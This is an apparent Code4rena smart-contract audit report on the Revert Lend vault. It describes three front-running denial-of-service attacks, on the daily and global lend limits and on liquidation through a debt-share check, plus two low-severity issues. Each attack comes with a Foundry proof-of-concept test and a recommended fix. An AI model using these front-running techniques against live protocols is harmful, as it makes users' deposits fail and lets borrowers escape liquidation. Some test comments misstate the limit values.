Revert Lend - Norah's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L877 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L911 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L550 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L575

Vulnerability details

Summary

RevertLend has implemented a daily limit on both lending and borrowing amounts to protect against flashloan and large-value manipulation attacks.However, the same mechanism can be exploited to invalidate normal user transactions by anyone.

Vulnerability

• An attacker can exploit this vulnerability by monitoring the mempool.
• When a user submits a transaction to deposit, the attacker can front-run it with their own transaction, depositing up to the remaining limit.
• This causes the victim's deposit transaction to fail.
• Then attacker can back-run it with a withdrawal transaction, effectively removing the funds initially deposited by them.
• This same strategy applies to borrowing transactions as well.

Impact

• Attacker can invalidate the victim's deposit and borrow transaction.
• Victim loses gas fee and potential financial loss due to the failure of their deposit or borrowing transactions, despite following the protocol correctly.

Proof of Concept

• Add below test in the V3Vault.t.sol file and run it with via "forge test --mt testDOSviaDailyLendLimtit -vv"

function testDOSviaDailyLendLimtit() external {

        //Setup Victim and Attacker 
        address Victim = makeAddr("victim");
        address Attacker = makeAddr("attacker");

        vm.startPrank(WHALE_ACCOUNT);
        USDC.transfer(Victim,20e6);
        USDC.transfer(Attacker,20e6);
        vm.stopPrank();

        vm.prank(Victim);
        USDC.approve(address(vault), type(uint256).max);
        vm.prank(Attacker);
        USDC.approve(address(vault), type(uint256).max);   

        //Daily Lend Limit is set to the 10 USDC.

        assertEq(vault.dailyLendIncreaseLimitMin(),12e6);

        //Normal Scenario, Victim deposits 10 USDC below the limit and everything works out
        uint deposit_amount  = 1e6;

        vm.prank(Victim);
        vault.deposit(deposit_amount, Victim);

        //Exploit Scenario
        //At this point we have 12 USDC in the vault.

        vm.warp(block.timestamp + 1 days);

        // we move forward one day so that now, users are allowed to deposit as per new daily Lend Limit (up to 12 USDC)

        //Now Attacker here sandwich the victim's deposit transaction with deposit of 12 USDC (consuming the reminder till limit) 
        //and withdrawin the 12 USDC deposited in the previous tx.

        uint victim_deposit_amount   = 1e6;
        uint Attacker_deposit_amount = 12e6; //Equal to lender to limit
        
        vm.prank(Attacker);
        vault.deposit(Attacker_deposit_amount, Victim);

        //This will revert as the attacker has consumed the Global Limit temporarily
        vm.expectRevert(IErrors.DailyLendIncreaseLimit.selector);

        vm.prank(Victim);
        vault.deposit(victim_deposit_amount, Victim);
        
        vm.prank(Attacker);
        vault.withdraw(vault.balanceOf(Attacker), Attacker, Attacker);
    
    }

Tools Used

Manual Review

Recommended Mitigation Steps

• Implement a mechanism to prevent users from depositing and withdrawing on the same day.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L550 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L572 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L877 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L907

Vulnerability details

Background

RevertLend has implemented a global limit on both lending and borrowing, restricting the total amount that can be borrowed and lent in the protocol.

Vulnerability

The problem here is that anyone can exploit the above mechanism to invalidate normal users' transactions.

Consider the following steps:

• The attacker observes a victim's deposit transaction in the mempool.
• They front-run it with their own deposit transaction of an amount equal to the remaining global limit.
• As a result, when the victim's transaction is processed, it will revert as the global limit has already been consumed.
• The attacker then back-runs the victim's transaction with their withdrawal transaction to collect the funds they deposited earlier.
• The same reasoning can be applied to borrowing transactions.

Impact

• The attacker can invalidate other users' deposit and borrow transactions.

Proof of Concept

• Add below test to the V3Vault.t.sol file and run it with via "forge test --mt testDOSviaGloablLendLimit -vv"

function testDOSviaGloablLendLimit() external {

        //Setup Victim and Attacker 
        address Victim = makeAddr("victim");
        address Attacker = makeAddr("attacker");

        vm.startPrank(WHALE_ACCOUNT);
        USDC.transfer(Victim,20e6);
        USDC.transfer(Attacker,20e6);
        vm.stopPrank();

        vm.prank(Victim);
        USDC.approve(address(vault), type(uint256).max);
        vm.prank(Attacker);
        USDC.approve(address(vault), type(uint256).max);   

        //Global Lend Limti is set to the 15 USDC and Daily Lend Limit is set to the 10 USDC.

        assertEq(vault.globalLendLimit(),15e6);
        assertEq(vault.dailyLendIncreaseLimitMin(),12e6);

        //Normal Scenario, Victim deposits 10 USDC below the limit and everything works out
        uint deposit_amount  = 10e6;

        vm.prank(Victim);
        vault.deposit(deposit_amount, Victim);

        //Exploit Scenario
        //At this point we have 10 USDC in the vault.

        vm.warp(block.timestamp + 1 days);

        // we move forward one day so that now, users are allowed to deposit as per new daily Lend Limit (up to 12 USDC)
        // But since the global lend limit is 15 USDC, only 5 USDC can be deposited.

        //Now Attacker here sandwich the victim's deposit transaction with deposit of 5 USDC (consuming the reminder till limit) 
        //and withdrawin the 5 USDC deposited in the previous tx.

        uint victim_deposit_amount   = 2e6;
        uint Attacker_deposit_amount = 5e6; //Equal to lender to limit

        vm.prank(Attacker);
        vault.deposit(Attacker_deposit_amount, Victim);

        //This will revert as the attacker has consumed the Global Limit temporarily
        vm.expectRevert(IErrors.GlobalLendLimit.selector);

        vm.prank(Victim);
        vault.deposit(victim_deposit_amount, Victim);
        
        vm.prank(Attacker);
        vault.withdraw(vault.balanceOf(Attacker), Attacker, Attacker);
    

    }

Tools Used

Manual Review

Recommended Mitigation Steps

• Implement a mechanism to prevent users from depositing and withdrawing on the same day.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L685 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L696-L698

Vulnerability details

Overview

Liquidator calls liqudate() function with targeted loan (derived from token Id) and amount of debt share to liquidate incase the given loan is now underwater.

Vulnerbality

Within the liquidate() function, there is a check ensuring that the debt share provided by the liquidator in the argument matches the debt share associated with the provided token ID. If they do not match, the entire transaction is reverted.

    function liquidate(LiquidateParams calldata params) external returns {

        .
        .

        uint256 debtShares = loans[params.tokenId].debtShares;
    
        if (debtShares != params.debtShares) {
            revert DebtChanged();
        }

A borrower can exploit this by front-running the liquidator's liquidate() transaction with a small repay() transaction, thereby changing (small reduction) the debt shares associated with the given token ID. As a result, the liquidate transaction will be reverted due to above check.

Note: In this scenario, even after a small repayment (~100 wei), the borrower remains underwater and should be liquidated

Impact

• During periods of high volatility, borrowers can easily deploy bots to front-run the liquidator's transaction, thus avoiding liquidation.
• Liquidator loses the gas fee of the failed transaction.

Proof of Concept

• Place below test in the V3Vault.t.sol file and run it via " forge test --mt testFrontRunLiquadate"

    function testFrontRunLiquadate() external {

        _setupBasicLoan(true);

        (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        assertEq(collateralValue, 8847206);
        assertEq(fullValue, 9830229);

        // debt is equal collateral value
        (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);

        vm.warp(block.timestamp + 7 days);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint).max);

        (uint256 debtShares) = vault.loans(TEST_NFT);

        //Normal Scenario

        uint snap = vm.snapshot();

        vm.prank(WHALE_ACCOUNT);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

        //  NFT was returned to owner
        assertEq(NPM.ownerOf(TEST_NFT), TEST_NFT_ACCOUNT);

        // all debt is payed
        assertEq(vault.debtSharesTotal(), 0);

        vm.revertTo(snap);

        //Borrower front-runs liquidate transaction with small repay (only 100 wei) transaction to avoid getting liquidate
        _repay(100 ,TEST_NFT_ACCOUNT , TEST_NFT,false);

        //As result Liquidator's transaction will revert
        //Borrower can essently set up a front-running bot during the volatile market to avoid getting liquidated

        vm.expectRevert(IErrors.DebtChanged.selector);

        vm.prank(WHALE_ACCOUNT);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

    }

Tools Used

Manual Review

Recommended Mitigation Steps

• Remove the strict check on the debtshare, as the global slippage check via minReward will account for scenarios where the borrower significantly modifies their loan.

Assessed type

DoS

L-01 Lack of minAmount parameter

In execute() function of AutoCompound.sol and AutoRange.sol minAmount parameters are missing in the NPM.IncreaseLiquidity() and NPM.mint() external calls.

Line of code:

• AutoRange.sol:198-210
• AutoCompound.sol:163-167

Impact

• Due to MEV sandwich attacks, users may end up losing value by providing more tokens than needed (or buying liquidity at a premium price at the expense of MEV Attacker).

Mitigation

• Allow users to provide a minimum amount (or define their slippage tolerance) for these transactions

L-02 Deadline defined as block.timestamp

In Liquidate() function of V3Vault.sol there is a call to NPM for decreaseLiquidity() with block.timestamp as the deadline parameter, which is ineffective.

Refer to this issue on how this can be exploited.

Line of code:

• V3Vault.sol:735
• V3Vault.sol:1066

Mitigation

• Allow users to provide a deadline parameter in the liquidate() function.